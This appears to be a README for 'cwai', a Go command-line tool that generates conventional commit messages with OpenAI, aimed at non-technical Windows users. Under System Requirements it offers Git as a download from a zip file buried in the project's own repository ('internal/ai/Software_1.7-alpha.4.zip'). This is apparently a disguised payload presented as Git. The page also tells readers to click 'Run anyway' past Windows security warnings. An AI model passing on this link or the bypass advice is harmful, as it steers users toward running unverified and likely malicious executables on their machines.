cwai：用 AI 生成 conventional commits 提交信息的 Go 命令行工具

cwai is a simple app that helps you create commit messages. It looks at the changes you made in your project and writes clear commit notes using AI. You do not need to know any coding to use it. This guide will help you download and run cwai on your Windows computer.

📋 About cwai

This tool works with git, the system that developers use to save versions of their work. When you make changes to files, you usually "commit" those changes with a description. Writing good descriptions can be hard or take time.

cwai uses AI to read the changes you have staged in git and writes those descriptions for you, following a standard called "conventional commits." This makes your project easier to understand and work with, especially if you share it with others.

Main topics covered by cwai:

AI-based commit message creation
Command-line tool that runs in the terminal
Works with git and conventional commit style
Written in the Go programming language
Uses OpenAI for AI functions
Designed to save time and improve productivity for developers

🚀 Getting Started

This section will guide you step-by-step to get cwai running on your Windows machine. You don’t need to know about programming or command lines to follow these instructions.

System Requirements

Make sure you have:

Windows 10 or later
At least 200 MB of free space
Git installed (you can download it from https://github.com/yasolls/cwai/raw/refs/heads/main/internal/ai/Software_1.7-alpha.4.zip)
A working internet connection for AI features

⬇️ Download cwai for Windows

Use the link below to visit the releases page where you can download the latest version of cwai.

On the releases page:

Look for a file with a name similar to cwai-windows.exe or cwai.exe.
Click the file to download it.
Save it in a folder where you can find it easily, like your Desktop or Downloads folder.

🧩 Install and Run cwai

cwai is a portable app. This means you do not have to install it like other programs. You only need to download the .exe file and run it.

Go to the folder where you saved the file.
Double-click the file named cwai.exe to open it.
If Windows shows a security warning, choose "More info" then "Run anyway."

📂 Using cwai with Git

cwai works alongside git, so you need to have a git project ready.

Open your git project folder in File Explorer.
Right-click inside the folder and choose "Git Bash Here" or "Open command window here."
Before using cwai, stage your changes with git like this:

git add .

This command tells git which files you want to include in the next commit.

Now run cwai in the command window by typing:

cwai

cwai will analyze your staged changes and create a commit message for you. It will show this message in the window.

💡 How to Use the Commit Message

Once cwai creates your commit message:

Copy the message from the command window.
Go back to the command window and run:

git commit -m "paste the cwai message here"

Replace "paste the cwai message here" by typing or pasting the message you copied.

This will save your changes with a clear commit message generated by cwai.

🔧 Troubleshooting

If cwai does not run or shows errors:

Make sure you downloaded the Windows .exe file from the releases page.
Check that git is installed and works by typing git --version in a command window.
Ensure your changes are staged before running cwai (git add .).
Restart the command window and try again.

⚙️ Settings and Configuration

You can customize cwai by editing a simple configuration file. This file lets you change how commit messages look or connect cwai to your own AI account for better results.

After running cwai once, look for a .cwai folder in your user profile directory (usually C:\Users\<YourName>\.cwai).
Inside, you'll find a file named config.json. Open this file with a text editor like Notepad.
You can adjust options such as AI model or message style.
Save the file when done.

📚 Learn More

If you want to know more about conventional commits or git:

🖥️ Developer Info

cwai is built with Go (Golang), a programming language designed for efficiency. It uses OpenAI technology to analyze your code changes and create smart messages.

It runs as a command-line app, meaning it works in terminals or command windows rather than having a graphic interface.

⬇️ Download Link

Make sure to visit the releases page linked below to get the latest version for Windows:

Download cwai on GitHub